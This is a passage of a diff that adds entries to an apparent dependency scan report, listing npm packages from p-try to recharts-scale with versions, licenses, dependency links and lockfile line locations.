+ "DependsOn": [
+ "p-limit@2.3.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8242,
+ "EndLine": 8253
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "p-try@2.2.0",
+ "Name": "p-try",
+ "Identifier": {
+ "PURL": "pkg:npm/p-try@2.2.0",
+ "UID": "f58bb62e80a5e559"
+ },
+ "Version": "2.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7606,
+ "EndLine": 7614
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "package-json-from-dist@1.0.1",
+ "Name": "package-json-from-dist",
+ "Identifier": {
+ "PURL": "pkg:npm/package-json-from-dist@1.0.1",
+ "UID": "ecbdaaa75c6fc8f3"
+ },
+ "Version": "1.0.1",
+ "Licenses": [
+ "BlueOak-1.0.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7615,
+ "EndLine": 7620
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "pako@0.2.9",
+ "Name": "pako",
+ "Identifier": {
+ "PURL": "pkg:npm/pako@0.2.9",
+ "UID": "6f64c5f06c2de6c9"
+ },
+ "Version": "0.2.9",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10191,
+ "EndLine": 10196
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "pako@1.0.11",
+ "Name": "pako",
+ "Identifier": {
+ "PURL": "pkg:npm/pako@1.0.11",
+ "UID": "a78a79ad4ff37c73"
+ },
+ "Version": "1.0.11",
+ "Licenses": [
+ "(MIT AND Zlib)"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7621,
+ "EndLine": 7626
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "parse-svg-path@0.1.2",
+ "Name": "parse-svg-path",
+ "Identifier": {
+ "PURL": "pkg:npm/parse-svg-path@0.1.2",
+ "UID": "1f36720769241312"
+ },
+ "Version": "0.1.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7640,
+ "EndLine": 7645
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "parseley@0.12.1",
+ "Name": "parseley",
+ "Identifier": {
+ "PURL": "pkg:npm/parseley@0.12.1",
+ "UID": "2976baf7d1dac784"
+ },
+ "Version": "0.12.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "leac@0.6.0",
+ "peberminta@0.9.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7646,
+ "EndLine": 7658
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "parseurl@1.3.3",
+ "Name": "parseurl",
+ "Identifier": {
+ "PURL": "pkg:npm/parseurl@1.3.3",
+ "UID": "ded4ae01725bd7f8"
+ },
+ "Version": "1.3.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7659,
+ "EndLine": 7667
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "path-exists@4.0.0",
+ "Name": "path-exists",
+ "Identifier": {
+ "PURL": "pkg:npm/path-exists@4.0.0",
+ "UID": "e1e1cee162dc7b9a"
+ },
+ "Version": "4.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7668,
+ "EndLine": 7676
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "path-expression-matcher@1.5.0",
+ "Name": "path-expression-matcher",
+ "Identifier": {
+ "PURL": "pkg:npm/path-expression-matcher@1.5.0",
+ "UID": "e02ae21eeb5fd294"
+ },
+ "Version": "1.5.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7677,
+ "EndLine": 7692
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "path-key@3.1.1",
+ "Name": "path-key",
+ "Identifier": {
+ "PURL": "pkg:npm/path-key@3.1.1",
+ "UID": "a5675ba27842e303"
+ },
+ "Version": "3.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7703,
+ "EndLine": 7711
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "path-parse@1.0.7",
+ "Name": "path-parse",
+ "Identifier": {
+ "PURL": "pkg:npm/path-parse@1.0.7",
+ "UID": "5fc91ddfc1e3f957"
+ },
+ "Version": "1.0.7",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7712,
+ "EndLine": 7717
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "path-scurry@1.11.1",
+ "Name": "path-scurry",
+ "Identifier": {
+ "PURL": "pkg:npm/path-scurry@1.11.1",
+ "UID": "59f0767f2920bf1e"
+ },
+ "Version": "1.11.1",
+ "Licenses": [
+ "BlueOak-1.0.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "lru-cache@10.4.3",
+ "minipass@7.1.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7718,
+ "EndLine": 7733
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "path-to-regexp@0.1.13",
+ "Name": "path-to-regexp",
+ "Identifier": {
+ "PURL": "pkg:npm/path-to-regexp@0.1.13",
+ "UID": "c193e2f333d178cf"
+ },
+ "Version": "0.1.13",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7740,
+ "EndLine": 7745
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "peberminta@0.9.0",
+ "Name": "peberminta",
+ "Identifier": {
+ "PURL": "pkg:npm/peberminta@0.9.0",
+ "UID": "919b9c54b0c39c29"
+ },
+ "Version": "0.9.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7763,
+ "EndLine": 7771
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "picocolors@1.1.1",
+ "Name": "picocolors",
+ "Identifier": {
+ "PURL": "pkg:npm/picocolors@1.1.1",
+ "UID": "3516ead490b51122"
+ },
+ "Version": "1.1.1",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7772,
+ "EndLine": 7777
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "picomatch@2.3.2",
+ "Name": "picomatch",
+ "Identifier": {
+ "PURL": "pkg:npm/picomatch@2.3.2",
+ "UID": "60649f903502eedb"
+ },
+ "Version": "2.3.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7778,
+ "EndLine": 7789
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "picomatch@4.0.4",
+ "Name": "picomatch",
+ "Identifier": {
+ "PURL": "pkg:npm/picomatch@4.0.4",
+ "UID": "fcb1aa4ac467326f"
+ },
+ "Version": "4.0.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9727,
+ "EndLine": 9738
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "pify@2.3.0",
+ "Name": "pify",
+ "Identifier": {
+ "PURL": "pkg:npm/pify@2.3.0",
+ "UID": "ffcf88ecd1091ae9"
+ },
+ "Version": "2.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7790,
+ "EndLine": 7798
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "pirates@4.0.7",
+ "Name": "pirates",
+ "Identifier": {
+ "PURL": "pkg:npm/pirates@4.0.7",
+ "UID": "2b4687ed1a4f41a2"
+ },
+ "Version": "4.0.7",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7799,
+ "EndLine": 7807
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "png-js@2.0.0",
+ "Name": "png-js",
+ "Identifier": {
+ "PURL": "pkg:npm/png-js@2.0.0",
+ "UID": "f8045f0eb55d5433"
+ },
+ "Version": "2.0.0",
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "fflate@0.8.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7827,
+ "EndLine": 7834
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "pngjs@5.0.0",
+ "Name": "pngjs",
+ "Identifier": {
+ "PURL": "pkg:npm/pngjs@5.0.0",
+ "UID": "3a5b7443f0b32932"
+ },
+ "Version": "5.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7835,
+ "EndLine": 7843
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "postcss@8.4.31",
+ "Name": "postcss",
+ "Identifier": {
+ "PURL": "pkg:npm/postcss@8.4.31",
+ "UID": "ddafc079bb8c814b"
+ },
+ "Version": "8.4.31",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "nanoid@3.3.11",
+ "picocolors@1.1.1",
+ "source-map-js@1.2.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7312,
+ "EndLine": 7339
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "postcss@8.5.12",
+ "Name": "postcss",
+ "Identifier": {
+ "PURL": "pkg:npm/postcss@8.5.12",
+ "UID": "510f0955b45ef87e"
+ },
+ "Version": "8.5.12",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "nanoid@3.3.11",
+ "picocolors@1.1.1",
+ "source-map-js@1.2.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7844,
+ "EndLine": 7871
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "postcss-import@15.1.0",
+ "Name": "postcss-import",
+ "Identifier": {
+ "PURL": "pkg:npm/postcss-import@15.1.0",
+ "UID": "f68ec6730aaa0abf"
+ },
+ "Version": "15.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "postcss-value-parser@4.2.0",
+ "postcss@8.5.12",
+ "read-cache@1.0.0",
+ "resolve@1.22.12"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7872,
+ "EndLine": 7888
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "postcss-js@4.1.0",
+ "Name": "postcss-js",
+ "Identifier": {
+ "PURL": "pkg:npm/postcss-js@4.1.0",
+ "UID": "3004fa81a2fa2f64"
+ },
+ "Version": "4.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "camelcase-css@2.0.1",
+ "postcss@8.5.12"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7889,
+ "EndLine": 7913
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "postcss-load-config@6.0.1",
+ "Name": "postcss-load-config",
+ "Identifier": {
+ "PURL": "pkg:npm/postcss-load-config@6.0.1",
+ "UID": "b2168b5451e9b656"
+ },
+ "Version": "6.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "jiti@1.21.7",
+ "lilconfig@3.1.3",
+ "postcss@8.5.12"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7914,
+ "EndLine": 7955
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "postcss-nested@6.2.0",
+ "Name": "postcss-nested",
+ "Identifier": {
+ "PURL": "pkg:npm/postcss-nested@6.2.0",
+ "UID": "1554b2cd1b1fb9f5"
+ },
+ "Version": "6.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "postcss-selector-parser@6.1.2",
+ "postcss@8.5.12"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7956,
+ "EndLine": 7980
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "postcss-selector-parser@6.1.2",
+ "Name": "postcss-selector-parser",
+ "Identifier": {
+ "PURL": "pkg:npm/postcss-selector-parser@6.1.2",
+ "UID": "ce8dc8a9732d6de5"
+ },
+ "Version": "6.1.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "cssesc@3.0.0",
+ "util-deprecate@1.0.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7981,
+ "EndLine": 7993
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "postcss-value-parser@4.2.0",
+ "Name": "postcss-value-parser",
+ "Identifier": {
+ "PURL": "pkg:npm/postcss-value-parser@4.2.0",
+ "UID": "16976fc10c402bfe"
+ },
+ "Version": "4.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7994,
+ "EndLine": 7999
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "prisma@5.22.0",
+ "Name": "prisma",
+ "Identifier": {
+ "PURL": "pkg:npm/prisma@5.22.0",
+ "UID": "8c42509e5c61d45d"
+ },
+ "Version": "5.22.0",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@prisma/engines@5.22.0",
+ "fsevents@2.3.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8061,
+ "EndLine": 8080
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "process-nextick-args@2.0.1",
+ "Name": "process-nextick-args",
+ "Identifier": {
+ "PURL": "pkg:npm/process-nextick-args@2.0.1",
+ "UID": "6cbd56d605e8447a"
+ },
+ "Version": "2.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8081,
+ "EndLine": 8086
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "prop-types@15.8.1",
+ "Name": "prop-types",
+ "Identifier": {
+ "PURL": "pkg:npm/prop-types@15.8.1",
+ "UID": "ae4d615e7c7dd38b"
+ },
+ "Version": "15.8.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "loose-envify@1.4.0",
+ "object-assign@4.1.1",
+ "react-is@16.13.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8087,
+ "EndLine": 8097
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "proto-list@1.2.4",
+ "Name": "proto-list",
+ "Identifier": {
+ "PURL": "pkg:npm/proto-list@1.2.4",
+ "UID": "896c72bafef6c55"
+ },
+ "Version": "1.2.4",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8098,
+ "EndLine": 8103
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "proto3-json-serializer@2.0.2",
+ "Name": "proto3-json-serializer",
+ "Identifier": {
+ "PURL": "pkg:npm/proto3-json-serializer@2.0.2",
+ "UID": "ff939f88e8b39329"
+ },
+ "Version": "2.0.2",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "protobufjs@7.5.6"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8104,
+ "EndLine": 8116
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "protobufjs@7.5.6",
+ "Name": "protobufjs",
+ "Identifier": {
+ "PURL": "pkg:npm/protobufjs@7.5.6",
+ "UID": "62e85fbdb853ebe0"
+ },
+ "Version": "7.5.6",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@protobufjs/aspromise@1.1.2",
+ "@protobufjs/base64@1.1.2",
+ "@protobufjs/codegen@2.0.5",
+ "@protobufjs/eventemitter@1.1.0",
+ "@protobufjs/fetch@1.1.0",
+ "@protobufjs/float@1.0.2",
+ "@protobufjs/inquire@1.1.1",
+ "@protobufjs/path@1.1.2",
+ "@protobufjs/pool@1.1.0",
+ "@protobufjs/utf8@1.1.1",
+ "@types/node@20.19.39",
+ "long@5.3.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8117,
+ "EndLine": 8141
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "proxy-addr@2.0.7",
+ "Name": "proxy-addr",
+ "Identifier": {
+ "PURL": "pkg:npm/proxy-addr@2.0.7",
+ "UID": "23d7a029fe2308cb"
+ },
+ "Version": "2.0.7",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "forwarded@0.2.0",
+ "ipaddr.js@1.9.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8142,
+ "EndLine": 8154
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "proxy-from-env@2.1.0",
+ "Name": "proxy-from-env",
+ "Identifier": {
+ "PURL": "pkg:npm/proxy-from-env@2.1.0",
+ "UID": "403a81bd1adb3a24"
+ },
+ "Version": "2.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8155,
+ "EndLine": 8163
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "qrcode@1.5.4",
+ "Name": "qrcode",
+ "Identifier": {
+ "PURL": "pkg:npm/qrcode@1.5.4",
+ "UID": "3ec0d227003c7497"
+ },
+ "Version": "1.5.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "dijkstrajs@1.0.3",
+ "pngjs@5.0.0",
+ "yargs@15.4.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8174,
+ "EndLine": 8190
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "qs@6.14.2",
+ "Name": "qs",
+ "Identifier": {
+ "PURL": "pkg:npm/qs@6.14.2",
+ "UID": "113e3df86ddfa56f"
+ },
+ "Version": "6.14.2",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "side-channel@1.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8309,
+ "EndLine": 8323
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "qs@6.15.1",
+ "Name": "qs",
+ "Identifier": {
+ "PURL": "pkg:npm/qs@6.15.1",
+ "UID": "d72f459e7ded52a8"
+ },
+ "Version": "6.15.1",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "side-channel@1.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3736,
+ "EndLine": 3750
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "queue@6.0.2",
+ "Name": "queue",
+ "Identifier": {
+ "PURL": "pkg:npm/queue@6.0.2",
+ "UID": "d122896362c4e690"
+ },
+ "Version": "6.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "inherits@2.0.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8324,
+ "EndLine": 8332
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "queue-microtask@1.2.3",
+ "Name": "queue-microtask",
+ "Identifier": {
+ "PURL": "pkg:npm/queue-microtask@1.2.3",
+ "UID": "e769f0d5fe744aed"
+ },
+ "Version": "1.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8333,
+ "EndLine": 8352
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "range-parser@1.2.1",
+ "Name": "range-parser",
+ "Identifier": {
+ "PURL": "pkg:npm/range-parser@1.2.1",
+ "UID": "abd7718da27d4627"
+ },
+ "Version": "1.2.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8353,
+ "EndLine": 8361
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "raw-body@2.5.3",
+ "Name": "raw-body",
+ "Identifier": {
+ "PURL": "pkg:npm/raw-body@2.5.3",
+ "UID": "4f51189664d4ea57"
+ },
+ "Version": "2.5.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "bytes@3.1.2",
+ "http-errors@2.0.1",
+ "iconv-lite@0.4.24",
+ "unpipe@1.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8362,
+ "EndLine": 8376
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "react@18.3.1",
+ "Name": "react",
+ "Identifier": {
+ "PURL": "pkg:npm/react@18.3.1",
+ "UID": "7a732aec3d05a7c4"
+ },
+ "Version": "18.3.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "loose-envify@1.4.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8377,
+ "EndLine": 8388
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "react-dom@18.3.1",
+ "Name": "react-dom",
+ "Identifier": {
+ "PURL": "pkg:npm/react-dom@18.3.1",
+ "UID": "4a1596165ae174b5"
+ },
+ "Version": "18.3.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "loose-envify@1.4.0",
+ "react@18.3.1",
+ "scheduler@0.23.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8389,
+ "EndLine": 8401
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "react-is@16.13.1",
+ "Name": "react-is",
+ "Identifier": {
+ "PURL": "pkg:npm/react-is@16.13.1",
+ "UID": "dd2055a708b19e28"
+ },
+ "Version": "16.13.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8411,
+ "EndLine": 8416
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "react-is@18.3.1",
+ "Name": "react-is",
+ "Identifier": {
+ "PURL": "pkg:npm/react-is@18.3.1",
+ "UID": "7c48b680c40ac547"
+ },
+ "Version": "18.3.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8054,
+ "EndLine": 8060
+ },
+ {
+ "StartLine": 8531,
+ "EndLine": 8536
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "react-promise-suspense@0.3.4",
+ "Name": "react-promise-suspense",
+ "Identifier": {
+ "PURL": "pkg:npm/react-promise-suspense@0.3.4",
+ "UID": "45bf18db5c7b7929"
+ },
+ "Version": "0.3.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "fast-deep-equal@2.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8417,
+ "EndLine": 8425
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "react-smooth@4.0.4",
+ "Name": "react-smooth",
+ "Identifier": {
+ "PURL": "pkg:npm/react-smooth@4.0.4",
+ "UID": "40b5bceae291051d"
+ },
+ "Version": "4.0.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "fast-equals@5.4.0",
+ "prop-types@15.8.1",
+ "react-dom@18.3.1",
+ "react-transition-group@4.4.5",
+ "react@18.3.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8432,
+ "EndLine": 8446
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "react-transition-group@4.4.5",
+ "Name": "react-transition-group",
+ "Identifier": {
+ "PURL": "pkg:npm/react-transition-group@4.4.5",
+ "UID": "7e3dc956d12bc1e6"
+ },
+ "Version": "4.4.5",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@babel/runtime@7.29.2",
+ "dom-helpers@5.2.1",
+ "loose-envify@1.4.0",
+ "prop-types@15.8.1",
+ "react-dom@18.3.1",
+ "react@18.3.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8447,
+ "EndLine": 8462
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "read-cache@1.0.0",
+ "Name": "read-cache",
+ "Identifier": {
+ "PURL": "pkg:npm/read-cache@1.0.0",
+ "UID": "1dbf3b8bd22286d7"
+ },
+ "Version": "1.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "pify@2.3.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8463,
+ "EndLine": 8471
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "readable-stream@2.3.8",
+ "Name": "readable-stream",
+ "Identifier": {
+ "PURL": "pkg:npm/readable-stream@2.3.8",
+ "UID": "3627344f001f9f48"
+ },
+ "Version": "2.3.8",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "core-util-is@1.0.3",
+ "inherits@2.0.4",
+ "isarray@1.0.0",
+ "process-nextick-args@2.0.1",
+ "safe-buffer@5.1.2",
+ "string_decoder@1.1.1",
+ "util-deprecate@1.0.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4158,
+ "EndLine": 4172
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "readable-stream@3.6.2",
+ "Name": "readable-stream",
+ "Identifier": {
+ "PURL": "pkg:npm/readable-stream@3.6.2",
+ "UID": "861aa22817f84aea"
+ },
+ "Version": "3.6.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "inherits@2.0.4",
+ "string_decoder@1.3.0",
+ "util-deprecate@1.0.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8472,
+ "EndLine": 8486
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "readdirp@3.6.0",
+ "Name": "readdirp",
+ "Identifier": {
+ "PURL": "pkg:npm/readdirp@3.6.0",
+ "UID": "2a7327b3dc0a9986"
+ },
+ "Version": "3.6.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "picomatch@2.3.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8487,
+ "EndLine": 8498
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "recharts@2.15.4",
+ "Name": "recharts",
+ "Identifier": {
+ "PURL": "pkg:npm/recharts@2.15.4",
+ "UID": "233835ec047727dd"
+ },
+ "Version": "2.15.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "clsx@2.1.1",
+ "eventemitter3@4.0.7",
+ "lodash@4.18.1",
+ "react-dom@18.3.1",
+ "react-is@18.3.1",
+ "react-smooth@4.0.4",
+ "react@18.3.1",
+ "recharts-scale@0.4.5",
+ "tiny-invariant@1.3.3",
+ "victory-vendor@36.9.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8499,
+ "EndLine": 8521
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "recharts-scale@0.4.5",
+ "Name": "recharts-scale",
+ "Identifier": {
+ "PURL": "pkg:npm/recharts-scale@0.4.5",
